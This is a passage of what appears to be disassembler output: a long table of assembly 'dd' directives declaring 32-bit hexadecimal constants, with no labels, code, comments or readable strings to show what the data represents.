		dd 7A64534Bh, 76B8BC00h, 0E629C52Dh, 0FC111EBFh, 0C0A0107h
		dd 2031C91Dh, 24704009h, 0EAC35E9Fh, 0DCE9506Dh, 998EF84Ah
		dd 0AA43218h, 3DEEFE28h, 32F3404Eh, 46E01525h, 7E4B685Fh
		dd 4CD4CDAAh, 0E94FF000h, 0A2B61F5h, 0A7C317E7h, 72C7E455h
		dd 55B3BFECh, 6E3EA1D1h, 0EE926BF3h, 0A0C676E2h, 0CA4BA12Bh
		dd 7FDD69BEh, 0E9F398BCh, 0C55DB3DAh, 8C642D82h, 25F6B920h
		dd 1158E681h, 6274448h,	0F377D35h, 8357180Ch, 0A59BF8C8h
		dd 513DC2ACh, 6F8FB054h, 2718D2BAh, 6C583702h, 709ACA38h
		dd 66C8F99Dh, 0F29D797Dh, 27DA0F7Fh, 0A6AF05FDh, 0F05D2419h
		dd 171244E3h, 90AA42E7h, 7DCF34EBh, 5A535B1Ch, 185D4E7h
		dd 57BC3505h, 28F72EFDh, 8E82917h, 0BB3B792Fh, 0F6D492C2h
		dd 5129EA3h, 0F480392Eh, 90971893h, 5A80639Eh, 4A0C8E27h
		dd 0ACA508FCh, 117E8ABDh, 2EEB5996h, 37BD4A5Ah,	7194183h
		dd 3AD7F7C1h, 87AB41ABh, 2F66CB32h, 30810A8Dh, 9E9555Fh
		dd 0BE1481B2h, 7433455Ah, 7A3578E9h, 9F54F92Bh,	83943153h
		dd 0D3C167FFh, 1A0F3B89h, 98496CBDh, 1716F5B0h,	0A80BEB34h
		dd 0DDF71217h, 0A17FF400h, 33E90C20h, 0EBDD46DEh, 24BD39F8h
		dd 5A9C6B97h, 524F611h,	595B038Fh, 0D0802CAEh, 0F4B77470h
		dd 1868705Dh, 65E3034Eh, 605F2A12h, 14685753h, 7AFC4C41h
		dd 800AC0AEh, 0B1519DC6h, 0F5D342F1h, 0FA6E165Fh, 0E16E70EEh
		dd 3F60C959h, 0D85C8120h, 79973770h, 4B101A70h,	35E4A3F7h
		dd 0FC43894Fh, 0C006842Ah, 8B7FA527h, 4B7F0348h, 87E627C0h
		dd 1CAE2E68h, 36B016C7h, 4655624Dh, 43C0CCF2h, 9C5199C5h
		dd 16F2DAEBh, 2B4378C3h, 0D2C20A1Fh, 0EACF6329h, 0DDE3CA69h
		dd 37FE909h, 91583D5Ch,	0B620813Ch, 52092433h, 411F1F31h
		dd 0FFE969D7h, 0EEAE069Eh, 0EF515464h, 13F90FF6h, 2F656E3Eh
		dd 3888FA87h, 0EA36945h, 24AA2FD5h, 2EBDFAC1h, 0EFBD4CCFh
		dd 6EBD3075h, 0E45F81F4h, 681602C0h, 0C0B8553Eh, 0EEBD8BA3h
		dd 0FE2FD1B7h, 3B581441h, 86874F80h, 22315CF4h,	0EA2C681Ch
		dd 0A5A59D25h, 51E09258h, 0E59D8E58h, 303F090Ch, 20CBC17Eh
		dd 0DA60421Ah, 0AB294F2Bh, 2E0AC550h, 0F140795Dh, 90475623h
		dd 20015193h, 7C38A0D8h, 217EBD65h, 4CF09D15h, 27D70FBDh
		dd 0DE096340h, 1059F15Bh, 4449B52h, 0EE69E458h,	3B37A8FDh
		dd 58F5FCBFh, 0C79A08D3h, 0ED13A2DEh, 29AAE657h, 6862F974h
		dd 60F35F17h, 7F39F84h,	82CBCA29h, 525234Bh, 0B23A315Dh
		dd 472901B1h, 0B733046Bh, 0C4D5F8B5h, 0DA31BB1h, 3D056A04h
		dd 2FA9AE5Ch, 0A66ECF06h, 8D000C64h, 2D6F9EA4h,	0C53606CDh
		dd 0E05E85Ah, 43C15D07h, 0F542D563h, 0F4B770D8h, 9607344Dh
		dd 0E251FAEh, 0EE168857h, 59F947D9h, 7AED6019h,	8ACFD99Dh
		dd 6F9C9A79h, 9CE20B09h, 5DE58EDEh, 0A8333ED8h,	80144DD5h
		dd 5804C688h, 0CEFEEED0h, 0F66C07EFh, 0C2E6C4D4h, 0BC5D9D9Fh
		dd 303D2FABh, 66DC6098h, 0C82C3C87h, 536570C0h,	97AF73BFh
		dd 3E21385Ah, 14209541h, 3EFEE08Bh, 0C0124F50h,	6E07C932h
		dd 77B92A50h, 856D4A41h, 826D5D50h, 0C9B4C07Dh,	5FC1E62Ch
		dd 0E4C8E16Bh, 511CA0F1h, 0E8169FB5h, 0A0F8A065h, 5A59767Ch
		dd 8608BDB8h, 394AB252h, 0EA9721C2h, 3BEA097Fh,	0FE908066h
		dd 849F6C4Ch, 78BB5EABh, 4F99513Bh, 3675E961h, 744F438Bh
		dd 7157ECB2h, 0C9E90B09h, 87BD4521h, 0B863EA6Bh, 0C8DA2BB2h
		dd 3E501002h, 75FD293Ah, 0DA2C8F1h, 95C9DD49h, 0B0E64EF1h
		dd 0F329808Bh, 47401182h, 298142D1h, 4D1AD453h,	4C6BF23Eh
		dd 2A458D8h, 2BFCD7F5h,	89437F37h, 7A4FF807h, 0E1F04AE2h
		dd 76437407h, 0E5F1042Ah, 823C0663h, 5402405Fh,	85D37758h
		dd 8A525B28h, 78580440h, 74C05EC9h, 48E17237h, 228EC7Ah
		dd 51F829CBh, 44760017h, 5CBF2BFEh, 1563F412h, 0FD09A341h
		dd 11324D5Fh, 345137Dh,	7B87FFC6h, 0FC3B877Dh, 394414E9h
		dd 0E353C9D1h, 25E9D8A8h, 9F29903h, 0E7BA529Fh,	710BBB2Fh
		dd 0C96F57Ch, 575F8BABh, 0E0C74F1Ch, 6D745C30h,	3BD258F7h
		dd 0C179BE00h, 8906E910h, 70B86FE1h, 746A07E1h,	0F1B855D3h
		dd 0CE817201h, 62C3420Fh, 82823D20h, 0BFD47875h, 0EFF761CAh
		dd 0ED2E252Fh, 0F8252008h, 0C9FBB5F7h, 0CBBA56A7h, 9A78E757h
		dd 0BA7F75A7h, 20B6D2FEh, 68122158h, 8DA273EBh,	0FB9BBFD2h
		dd 6060F34Ah, 2627E418h, 4F1A27Fh, 0AE13A6F0h, 0E3011699h
		dd 702B366Eh, 68C80F9Bh, 6623562Fh, 0F04527BBh,	0FD38DCECh
		dd 61BB5A31h, 81ABD5D8h, 0A81BB0Ah, 83E96CADh, 25539564h
		dd 41FC0DB3h, 53D8F10h
		dd 29976F09h, 605BA9FEh, 0D068E11Ch, 5A4FA017h,	513CF5B6h
		dd 975679E2h, 0F6727509h, 0D42DDA79h, 27C6DC6Fh, 6850D7E0h
		dd 18036927h, 0BD87CC77h, 0CD4202D1h, 6438FDEFh, 0D91C529h
		dd 255F1408h, 0DC2FCAF4h, 83EA6DAh, 11219A5h, 74D0036h
		dd 1F09E4BDh, 6ABCA257h, 973B16DFh, 2CF694D5h, 8E7A2C3Bh
		dd 0F90458C7h, 6FDC25Bh, 613A06C1h, 0A5D1C90Bh,	4475404h
		dd 6C1307Bh, 4BA4CA28h,	0FFA317D7h, 7225699Eh, 46311AE1h
		dd 6208FE9Bh, 0A93B9A0h, 8EF0EFE9h, 17EBC704h, 895C1340h
		dd 35F8245Eh, 5B50A5E2h, 0E1A7FD95h, 8547B354h,	0D42D2600h
		dd 68612272h, 0BD375BD5h, 24B99A8h, 0B4E9E241h,	0C00BEC28h
		dd 11FC07E2h, 0A6566C17h, 0ABCC52AEh, 0BC6A23CDh, 681F9DACh
		dd 81E92B84h, 0E2BA8994h, 73DE8582h, 0B4976916h, 0B3B8DB2h
		dd 5D5132D7h, 0E9183BFAh, 0E09D3E0Ch, 0B82C1D07h, 0C9048BFEh
		dd 0D7050B77h, 0BE177497h, 1584342h, 6B7FC0FBh,	0C0DD820Dh
		dd 12022532h, 0B8773B5Ah, 1D1026E6h, 5021412Dh,	14B6AC34h
		dd 0FB6AFB2Ah, 0A391AD12h, 809707CEh, 0ED338EF5h, 800678B1h
		dd 0CD0FFE01h, 0DD02E5C0h, 0DA16687Bh, 0DD88220Bh, 0F9BFE536h
		dd 9655C9B6h, 3F683860h, 610CB4Ch, 0EF88131Eh, 0F780E803h
		dd 0A015E1E7h, 0FFB5253Ch, 0EC480CF6h, 0FAF0175Eh, 0F63E9229h
		dd 57C2523h, 9A815590h,	82044BA9h, 401117Dh, 0D4E15A80h
		dd 0D0105322h, 952D03EDh, 0F9011949h, 0D67785E0h, 6CEBE54Ah
		dd 0BB53A056h, 1A1E0067h, 0E19DBA4Fh, 0F89DB0E5h, 9C2C325Bh
		dd 0F2DF112Bh, 7A362F64h, 9331529Eh, 58C2335Ch,	85509143h
		dd 898DA6BAh, 0FC5CC5Bh, 737D484Ch, 1630CFAFh, 67BBEE01h
		dd 757AE6E0h, 839C17Eh,	0E8F8E283h, 2F10C564h, 520B5F7Bh
		dd 6025C6A3h, 0A8BBB14Eh, 6EEF9E3Ah, 5A615E41h,	0D02E1E13h
		dd 0EF6F2A43h, 5EFE275Ah, 459D6684h, 896480FAh,	4C01090Bh
		dd 0E95532FFh, 5D829994h, 46B34913h, 6802CD74h,	0FF434DDCh
		dd 12D0626Bh, 4F5EC2F7h, 0BF2CFDE8h, 0FE588513h, 818DBAC9h
		dd 0F1459247h, 6864980Dh, 0EC0042h, 0F62F3805h,	0F1E17AF9h
		dd 0D6540707h, 7401A682h, 0ED05C358h, 3114F7B1h, 9E910EFh
		dd 1BF01C4Fh, 0F52599B4h, 863FE14Bh, 0CC0899B1h, 0A544AB89h
		dd 8DE8A3FBh, 0DB309785h, 3B0B417Dh, 0D8EF4916h, 51955C1Ah
		dd 396998B8h, 61078835h, 0DE0D6D33h, 0F9083C53h, 0C33D5CAAh
		dd 0DB093727h, 535B0ECCh, 0BF5E1EE2h, 0A82F9129h, 94061FF9h
		dd 0F02114FFh, 7739928Ch, 0A19EEC6Eh, 0C53A6FE9h, 8AB3FB9Ah
		dd 0F59461B5h, 5B4296EBh, 5C5EFBCh, 0EEADD180h,	0AE23A72h
		dd 8881EE92h, 4F3B73F7h, 18131AD6h, 5556100Ah, 47B85E5Ah
		dd 0D73F5D3Ah, 0CD47AC1Ah, 3878F2D7h, 5B443A08h, 0DAE24A3Ch
		dd 0B60798F9h, 8607B71Ah, 0D7B004D3h, 2D0D3B3Eh, 251F5610h
		dd 715D4F09h, 5D8972B2h, 78E28801h, 0D36860B6h,	1CED6644h
		dd 0E4127CAEh, 76983EF2h, 2CE11B69h, 40766871h,	4E3C938h
		dd 67E94CCCh, 0F61753F8h, 9AC7BADAh, 337386BFh,	79EFF018h
		dd 10E2CBEh, 85304781h,	0AAB8573Dh, 172D2F8Ah, 0CF012022h
		dd 81489F71h, 70742B02h, 0A878577Ah, 0C1EE3D20h, 933F909Eh
		dd 0CEF1D826h, 6E632D2Ch, 7FA4C100h, 60F70217h,	332C1CD1h
		dd 681847DFh, 387D3C76h, 0E3F3C0A8h, 1DA972FBh,	0D202D2B4h
		dd 0E147633Fh, 0B004F8EEh, 5041863Ah, 0F238AA2Fh, 9F687025h
		dd 3E60E0FEh, 90364A4Ch, 0B55E701Dh, 44727BF6h,	0A91520AFh
		dd 5FF3315Eh, 0BD9D044Fh, 23BB003Dh, 0BFFF55A6h, 3F209CF8h
		dd 814E0199h, 6C676FE6h, 0D3B23F0Eh, 5631C009h,	4909D385h
		dd 0D15758E2h, 207CE956h, 9EA5F62h, 0D4C8AE3h, 6A8B40Ah
		dd 585B984h, 2CBF5954h,	0EF40FE74h, 0A9F84E28h,	13D1F4D1h
		dd 0F0046041h, 577A5DFAh, 4B75105Dh, 68513580h,	0EB52ED2Eh
		dd 2CB37422h, 9657C931h, 0BF2C9265h, 0F805A5D9h, 92AF9AE9h
		dd 0E557FE37h, 0F582A01Ch, 0EB1E1A6h, 0AF132097h, 7A9563F6h
		dd 0A460B25Ah, 0A478E2FBh, 2BE90620h, 4D96B41Dh, 0C942EEEFh
		dd 558CAEF4h, 0CB7C2D46h, 71045617h, 3EF6ABF9h,	0B2D540h
		dd 2927A272h, 0C5BE56D9h, 2DC62E02h, 0C55FC7E9h, 0AE5A16EDh
		dd 1BF0CF75h, 8DCA24E9h, 0A826973h, 33841A19h, 19782F6h
		dd 0FA96F657h, 9FD7FF22h, 8EFB5804h, 8BE6256Ah,	2D7DF48Eh
		dd 62726DD4h, 0CEA5DD3Ch, 0C58CE426h, 0C1BC252Ch, 0A115310Dh
		dd 48FDFD20h, 0F72C721Dh, 8AE9624Eh, 0C202F5ABh, 0C5550B46h
		dd 0F9CF172Ah, 0A4B859EEh, 0C9FF49BEh, 0BA04EBF0h, 48F253BFh
		dd 518499F8h, 19BEC266h, 0AEB291FDh, 0EF91853Eh, 0F0C1A874h
		dd 84C349D0h, 0C9E6A6BEh, 8036432Ch, 0F20C0949h, 825B4ADDh
		dd 0CF6A76D8h, 205D967Fh, 67F8603Fh, 62CAD9B5h,	680041F7h
		dd 4A131D78h, 2401FC75h, 0AFA7124Ch, 419FD51Ch,	0A4BAD16Ah
		dd 76253574h, 80551F3Fh, 0E9718ABDh, 5C9E1E1Ah,	1C3868E1h
		dd 3E647788h, 275CFD26h, 159A5768h, 25216CDDh, 0E2AE16E9h
		dd 3D0D98CDh, 905A8BB6h, 5BF0E996h, 9CE52412h, 4A4028DCh
		dd 9B589F83h, 95171E98h, 0FF6480h, 0C9C05BCh, 2D07354Ah
		dd 28DE5DE2h, 585A1250h, 5DE29F4Ch, 11B5070Eh, 135E1B40h
		dd 2C900AE9h, 6828338h,	50B7A89Ch, 14E29EF2h, 0ED36D260h
		dd 0A90B3205h, 0F966FE2Eh, 0C3312FDEh, 688845FEh, 0EE5D12E7h
		dd 5BE18374h, 41C68A2Fh, 7E0B32A1h, 8D61584Fh, 1654533Eh
		dd 492DB2BEh, 0AAE98F3Fh, 5151E12Eh, 0E9CE703Ah, 10C1968Eh
		dd 38776857h, 0CC7D60C5h, 0E3C9B427h, 7C69E0C5h, 50591027h
		dd 9358259Dh, 0DD324469h, 0E6C0D0FEh, 1050024Ch, 0BB022F56h
		dd 1BB17AF1h, 50CE02E0h, 38E7AD4Ch, 0F42F92C7h,	3AEF7F00h
		dd 0C0156138h, 1418420Ch, 0FB2531EAh, 1E965A5Fh, 0D15744F3h
		dd 28BA5E2Ch, 0B224E99Dh, 76A482E6h, 989D9F42h,	256858EFh
		dd 0BB710114h, 139F1EA8h, 9BEC1B5h, 0C2512D69h,	0F0057E22h
		dd 1719050h, 921EB1FDh,	6DA16B3Ah, 3F67F46Ah, 36FE3218h
		dd 9C8CE96Dh, 4EFC277Eh, 8D8B5F7Ah, 31ED9810h, 3DC76618h
		dd 2D6DAD0Ch, 1F511999h, 4F63E961h, 684D382Fh, 0F622422Ch
		dd 8419F8C3h, 880AF3FEh, 8C5A1814h, 5595FFA8h, 0FA2D281Ch
		dd 4FFC7472h, 2054B705h, 0C850DA8Dh, 2F847958h,	69EF1963h
		dd 743FF575h, 0E949C879h, 4B333664h, 0B5DBD0A0h, 4D774440h
		dd 392D3E0Dh, 37FE628h,	787D2FBDh, 3646C0CFh, 0ADF4532Eh
		dd 0BF72A306h, 0DEA53AE9h, 882008E9h, 0C203AC2Eh, 2ED2F601h
		dd 45FF980Ah, 5DA540B1h, 93042C7h, 12611F16h, 0EFE35004h
		dd 4A6FE3EAh, 0F6362CABh, 7331F95Ah, 0F37F5A3Dh, 0E561C4B3h
		dd 27291D13h, 0F7323A72h, 908CD8h, 913E48BAh, 4EF6614Dh
		dd 77DA47F1h, 8C2D8FCh,	5EDA982h, 1815275h, 75E21ADFh
		dd 1E99A882h, 0FC9F1AC4h, 0F10150DEh, 86095691h, 821A7CF2h
		dd 22CA7942h, 25031760h, 0C664F12Ch, 7859EF47h,	725EA1E1h
		dd 1D052B32h, 0BB32A040h, 0D1F7E600h, 9F1057E9h, 7290511Eh
		dd 24E3835Eh, 84354A79h, 84EDD835h, 4712DC2Dh, 20BA0135h
		dd 3A02DB61h, 8A647001h, 5D9C128h, 419B4230h, 56DC6025h
		dd 2967995h, 2EF0712Bh,	3C0D415Fh, 965BA464h, 61A4806Ch
		dd 0CD29D510h, 0D88FE92Dh, 58A99E39h, 217B2348h, 0F2217F9Dh
		dd 4429180Ch, 5780BF81h
		dd 39431317h, 6D29E970h, 46CE1E97h, 6221278Ch, 0E3688830h
		dd 3A7A29C6h, 0FE255407h, 5C006576h, 0BF6BE606h, 21732ECDh
		dd 0C7351730h, 0EA5036FFh, 0B8BC1F5Ah, 34F2B1DEh, 0AF8105ECh
		dd 0FB0598CFh, 49C6224Fh, 4AD1A0E5h, 1DEBCA81h,	806E787Bh
		dd 0D21801E2h, 422FE97Dh, 733A7E04h, 0FF8DDF2h,	0D23FCBB7h
		dd 0A8CF24FEh, 86ED5A8Dh, 0B40957A5h, 5492DB10h, 70ED7EBFh
		dd 0D2AA32E9h, 5DEFAD60h, 113FC9Dh, 0E74D41CFh,	1CF7D83Ch
		dd 392C7512h, 65553D12h, 0EA00739Dh, 73685550h,	0B016CE40h
		dd 0D9ED04C6h, 0BD039C1Fh, 4A4D3D5Eh, 458942BDh, 0AED40FA9h
		dd 0B71EF020h, 2E503B8h, 0C93BE981h, 0A4D95FB3h, 0CA52A7AFh
		dd 7C9B3E2Fh, 32646C86h, 5BDD2E4Bh, 28B4913Eh, 94A62B02h
		dd 8A54EF5Ah, 39C9001Bh, 37BB7F52h, 0B0770945h,	81F7CB01h
		dd 0C74AD971h, 0BE27AF2Bh, 97EC485Bh, 5A98973Dh, 28805B93h
		dd 0A0D897CCh, 0C8FD79Dh, 3730D2DCh, 2A1382C2h,	50513268h
		dd 2692B03Dh, 0FDA5ACF3h, 0EF20B09Ch, 0FA012DE2h, 981DEA03h
		dd 25145720h, 5FA07B03h, 27524E0Fh, 0BCB8B898h,	27214D9Fh
		dd 684EE87Dh, 0F7649EAh, 3958E518h, 531D3AF1h, 47AC526Dh
		dd 0A3F4B502h, 0B675E929h, 0F2AD906Ah, 9FE03EBAh, 6F39D595h
		dd 48EC72C2h, 86F8582Bh, 0E3CEFBE9h, 32FCB37Fh,	0D75B0D1Bh
		dd 94BF33DBh, 8C84F1A1h, 9690F65Fh, 0EA89E2FAh,	0BD27C264h
		dd 8E3DD3EEh, 452C531h,	684AFFAh, 59AF229h, 1A53214Ch
		dd 30D8B45Eh, 5AEE3409h, 0A50B7151h, 86F16282h,	0ADA619E7h
		dd 6BC05218h, 46AF0638h, 0BBF485E9h, 0FD05F803h, 0AC537443h
		dd 3257A680h, 0B708648Bh, 0FB79FB58h, 56F85D2Eh, 0C55FB828h
		dd 20EFECB5h, 18BB6858h, 9B9CDBFh, 0CF688B6Eh, 5681570Ah
		dd 5B8FAD7Fh, 0FE722DECh, 0D60995B2h, 27C364D5h, 30A51914h
		dd 0C760FF56h, 5C9A6AE3h, 1D206961h, 27C2CC9Fh,	377CF9F7h
		dd 0BB97C052h, 0EA0CD694h, 50FDAF2Dh, 4AF6E1BFh, 2DE7099Eh
		dd 41EAB75Ah, 514E0B7Ch, 70034F1h, 9DF133E9h, 0A5BEB7E5h
		dd 574C0A4Eh, 0AE0255CBh, 6B905280h, 0F63EB8B1h, 0F3E84BD1h
		dd 8C03C11Dh, 6D0CE6F1h, 0FC4EF8F6h, 0CF7F25A5h, 0CC3358ACh
		dd 0B0AD2CE1h, 16EBC08h, 6033DB68h, 1BEA9775h, 889328BFh
		dd 7D31C9CBh, 7EF58A4h,	7FA226B8h, 57EE034h, 6F570E2Dh
		dd 0F4A13F90h, 2B78FF44h, 58524BEBh, 0B1FB6F05h, 0D7A23B68h
		dd 0AE0B9C4h, 5F08CA53h, 66451C2Dh, 0A28401F1h,	85010298h
		dd 0D086886h, 81B254BCh, 39679C40h, 4C17114Ch, 590840C5h
		dd 4F267C9Ch, 0C7FF56D2h, 0C31AF4EBh, 28B601B9h, 2D5D0881h
		dd 8C292EEFh, 82455FA7h, 576F879Dh, 402F3634h, 0F998D5E0h
		dd 0CD88E6DBh, 4969254Bh, 51A1F54h, 0B88FC306h,	0E5182365h
		dd 9C035EECh, 776389CFh, 1444E59Ch, 296DC40Ah, 0B72EB8F7h
		dd 53CA90Bh, 85035AA3h,	92BC3403h, 3F04C145h, 0C740FA29h
		dd 0F66D1FF9h, 0ABF05641h, 0E6BEE495h, 52E9CF26h, 0EC0C1D56h
		dd 2FFD2F03h, 4948F275h, 0D39FE1CDh, 0FC3B09F3h, 0C67FBD9Ah
		dd 0B9524B5Fh, 8B6CC48Fh, 5BF88802h, 79619A42h,	59B46BC1h
		dd 0E3705B2Dh, 711292D0h, 27DB8ABFh, 8EC4C55Ah,	2F1C0CB7h
		dd 0F2CA645Eh, 6B903007h, 0A99EEC8Ch, 82E45B12h, 0BAB9C08Dh
		dd 10EC6F94h, 434E90F6h, 7913524Eh, 0EF323335h,	407DEBD2h
		dd 0BC5EC529h, 730206Ah, 0EA80DCB4h, 0A5B0A58Dh, 0AD047A0Ch
		dd 30198EC5h, 59CD5054h, 0F9EBBABEh, 5B525DCh, 4CFBEDB9h
		dd 632F0756h, 0F2F244E6h, 40B87E53h, 261982B8h,	0C0F1135Ah
		dd 0C2404630h, 66CF30ECh, 28577877h, 44A1C601h,	0F830C16h
		dd 2DED40CEh, 0F151C93Fh, 9F156EDFh, 4E0CFFF3h,	0B90A62h
		dd 5B6E5D75h, 400BC981h, 970EA924h, 0D1F70802h,	6D4ADC41h
		dd 60A9496Eh, 0FF277E32h, 93AC5402h, 0B89AA72h,	632CACE1h
		dd 0EE8AD26h, 271C4585h, 0F44B32FBh, 9568093Fh,	0A524C5DFh
		dd 5F38E17Dh, 680B1978h, 7C660E3h, 7138BB28h, 95322720h
		dd 84F66E63h, 1F7ECE31h, 0C334DE22h, 6A3300D8h,	0D7354856h
		dd 0EFA00334h, 5D823B42h, 79A71F9h, 0EBE25F37h,	0E9F6920Fh
		dd 4A9127C0h, 584741FCh, 0C701D438h, 89EEA05Ch,	8B7FEAC5h
		dd 383D785Eh, 0EF5B3768h, 0E020FD29h, 27FC4E2Bh, 0BB3186B9h
		dd 9E2D34B4h, 25E92570h, 0DB052240h, 3121681Eh,	0F60AD40h
		dd 0BE8D10Ah, 7F2DB935h, 0D37300D5h, 207CCE45h,	0CA7CF029h
		dd 565A8BEh, 680262ADh,	6184B1Ch, 0AF5849D6h, 0D482826Dh
		dd 25C40966h, 0DF29030Ch, 12E0C54h, 89C89CB7h, 2B7DE9F2h
		dd 0A2AA6C13h, 0D1CC8B0h, 0D44B25C9h, 3C4C14C3h, 0E01038DBh
		dd 6E21F317h, 375158D3h, 3E1B1A01h, 20DA890Fh, 0D19540E1h
		dd 5630C907h, 889A5BE9h, 4DD0302Dh, 9977279Eh, 0DA2858DFh
		dd 9FABF16h, 78F567E2h,	2D400EBAh, 0CFC20AF3h, 0EE13E8Ch
		dd 0B579204Fh, 53A80E1Fh, 31BDF743h, 36E9C0B3h,	34929739h
		dd 0C9886C79h, 725A3713h, 307F359Bh, 88EE585Eh,	0C61289F1h
		dd 0BAB7BCBh, 0BD5C0101h, 33752D82h, 0D1FA7461h, 0C4486956h
		dd 0D5AC24E9h, 0E8D33117h, 0B951F1EBh, 0E916CB0Ch, 99BAF5EAh
		dd 6AAF07F7h, 166860E9h, 1B480508h, 0E65F3FC8h,	90151748h
		dd 996C9F22h, 4D9EB81Fh, 0B8F10996h, 0F6E68C42h, 2C4525D8h
		dd 0C8A4572Fh, 7A40FF34h, 0D360A3E6h, 0EEC1262Ah, 0D6F6005Ah
		dd 0E971EBC7h, 70176B5Dh, 0B5A9F04Bh, 0AC65EE20h, 0A0EE5D06h
		dd 135E1AFBh, 85D9DE77h, 31EB4E45h, 2861AC37h, 478F82EEh
		dd 4FD65520h, 3EE6FF52h, 408771B7h, 6C9B3DF3h, 808DC2CBh
		dd 0E9462BB8h, 5A1A9AECh, 8FA5Dh, 112E00C3h, 6858726Ch
		dd 65453E5Fh, 0D7203036h, 4B75551Fh, 6FF8E11Eh,	1360EBB4h
		dd 0E9FDC09Eh, 81A13BBh, 7AA4B55Eh, 6D4F5003h, 0C60C4269h
		dd 0D6108F48h, 78346367h, 0C1674C5Ah, 31597D63h, 23105310h
		dd 0B1B85002h, 0C680CA57h, 5A3506E0h, 4C307313h, 20ED9541h
		dd 44D45304h, 7C61273Fh, 1D97E0D2h, 81EA1DC4h, 0E974AF2Bh
		dd 0F54E6B57h, 267A50A7h, 6F3B4916h, 26503A09h,	0CE5DF9B7h
		dd 4BCCECB3h, 724C829Ah, 989F6320h, 0DD69673Dh,	0C3BF93F5h
		dd 75E1541Bh, 0F0283F41h, 0B8FC4ACBh, 1D82C158h, 0DB40604Ch
		dd 23C036Ah, 7857B872h,	65F5C94h, 0E4324C62h, 0A87BEDF7h
		dd 0FDA4B52Ah, 0C5F26A11h, 7788043Fh, 0A2698138h, 5D18AFDAh
		dd 8DF3708h, 4E146265h,	724704AFh, 0DEC00BCBh, 5C21C949h
		dd 94B653Dh, 408E835Fh,	66BCBDE0h, 0E09F0D57h, 0B399E390h
		dd 20B4226Bh, 0D1985D66h, 9A42E313h, 0E1F3DA06h, 54D89F0Dh
		dd 65EFE939h, 32C1FE96h, 0C96E4327h, 0FBC8C250h, 330021BDh
		dd 0F5814749h, 5B3B10FAh, 12478634h, 40736902h,	49F7E965h
		dd 0F2F0593Eh, 645E00CCh, 92BF570Ch, 74C2477h, 3CFA1FDAh
		dd 0D30732D3h, 65933959h, 0DCE9D909h, 0C245E96Eh, 0D623F068h
		dd 2B27620Eh, 59A60509h, 701CBEC2h, 5FF295C4h, 641436E6h
		dd 0F8026DDh, 81964D3Fh, 0F75BD931h, 438E41CEh,	19251EECh
		dd 6B1FE2E9h, 0C01BD6EBh, 136B0ECEh, 13465E27h,	70B0AE68h
		dd 0C9A906E8h, 76F38967h, 1F02EB24h, 0EC6F3901h, 6280417Fh
		dd 38D835C9h, 564F53E9h, 96F14AFCh, 5D5F02D9h, 53F7153Ah
		dd 0AE5B1352h, 4B150498h, 0F509E818h, 2836B921h, 0C48B5202h
		dd 48238ADDh, 9260AA09h
		dd 0F595CA6Dh, 0D8BEF9ABh, 88DE5760h, 985A0746h, 91350426h
		dd 0AE9A98B9h, 0FC824485h, 6372D641h, 76105452h, 0C34B69DAh
		dd 0D99881FEh, 17E3D45h, 84923F2Ch, 93015BBBh, 1ABD0758h
		dd 16BB0F9h, 6FCA8037h,	86AE050h, 0F658C22Fh, 87039FBCh
		dd 0F5512BE2h, 2AB1AFE9h, 0E2EAFA55h, 0E100B4EAh, 2C484B1Ah
		dd 74EE9h, 0AE2BD21h, 0EF43C2Dh, 7FE4444Eh, 1E1802CAh
		dd 31524503h, 0BE252ED8h, 12784D6Dh, 0C8D9FE0Ch, 10FF96Bh
		dd 0D60CBB0Dh, 0D1C70542h, 457FBC21h, 534AE97Ah, 6E80BA9Bh
		dd 7D20253Eh, 215B2708h, 5D522DDCh, 0F7EB6FDBh,	68184491h
		dd 995026B8h, 57EF3009h, 0ED0024FBh, 21F827B1h,	23D54801h
		dd 42411307h, 0CEFE02Fh, 30E5E104h, 8E09E70Fh, 5B4E59h
		dd 0B80EA9EEh, 8D429717h, 31F7FF02h, 0D85B5FDAh, 623C46B3h
		dd 0D4098BBh, 60286725h, 767F6B46h, 0EA0112B8h,	0C76AF25Dh
		dd 55096A9Ch, 82A922C5h, 1903F08h, 981E38BFh, 66B9E843h
		dd 4427FB92h, 85E46524h, 0F554C1E9h, 0A24B960Fh, 0F3D516AEh
		dd 75FB9268h, 2D450DD8h, 51F77033h, 50178B93h, 0C0C51BE2h
		dd 26C240E7h, 0BD289D1Bh, 0C451FA12h, 7AB44206h, 7FF602F1h
		dd 2961065Ch, 82674DEh,	353E808h, 486C79BDh, 9194A597h
		dd 0DC525F3Eh, 70BC18B1h, 0BED04A53h, 0F7441598h, 1094E67Bh
		dd 5301D73Fh, 0E7587468h, 0CBF7402Ch, 43303747h, 492B0C44h
		dd 79675C65h, 0EF342C70h, 0B8C0BACDh, 0E67DFF00h, 6A2D4009h
		dd 0BFF3490Ah, 0A473941Dh, 53B7126Ch, 2AB8A179h, 2DF53AEFh
		dd 24F8D155h, 299266Ah,	3AC60D1Bh, 0C271EAFDh, 2BA25F8Ch
		dd 3F7EE1E7h, 617DA782h, 0C612C30Ah, 0E2652618h, 0D1F103FAh
		dd 2996A920h, 12DF4318h, 0F0769318h, 35809F01h,	262E2870h
		dd 38BA70BFh, 0EE4E2921h, 604F158Ah, 0FCBEEDDh,	0E34BE127h
		dd 637AADEh, 0D61B1668h, 0E9CC5DA8h, 0BD3BFD25h, 2B8889B8h
		dd 2D09D681h, 89EF0F77h, 389350FAh, 0CB16C4B1h,	101CAA59h
		dd 506EE3C1h, 0ECE526B4h, 45C4128Fh, 0C040F4E0h, 0E91A07E4h
		dd 0DF3E7D8Eh, 0A03FB851h, 0E88325D6h, 259CC4F5h, 6DDE5457h
		dd 20E2BAC0h, 5235CB8h,	0EC0C9D03h, 0F8044245h,	7D7440EFh
		dd 8C8ED0EFh, 1C253792h, 0D739C031h, 0F99125E9h, 2A4A6F55h
		dd 1F6804A1h, 0BE0D0F44h, 0EA4B5CB2h, 0AD5E1E8Fh, 505B865Ch
		dd 192EEC23h, 0C53B902h, 0C03B0FFh, 4069760Eh, 9F134643h
		dd 61A1B9A4h, 373A4909h, 80E535CEh, 8C0AA892h, 3117235Ah
		dd 0FECCD5BFh, 27ABDB05h, 9CE00D8Dh, 66B39F44h,	2138EA8Ch
		dd 3B6CFD3Ch, 0CC5D55CBh, 0CCE2BFCEh, 3D683CC0h, 4F7C0C09h
		dd 0F1B2005Eh, 0B0737279h, 0E4AF9DD2h, 0E7351E41h, 384EED84h
		dd 215F05B6h, 4DBC1C47h, 35D53CB1h, 0AF812ADFh,	0D10103F4h
		dd 0B0A60EFh, 1055731Fh, 4037295Ah, 0B7D5217Fh,	0A8B10EC7h
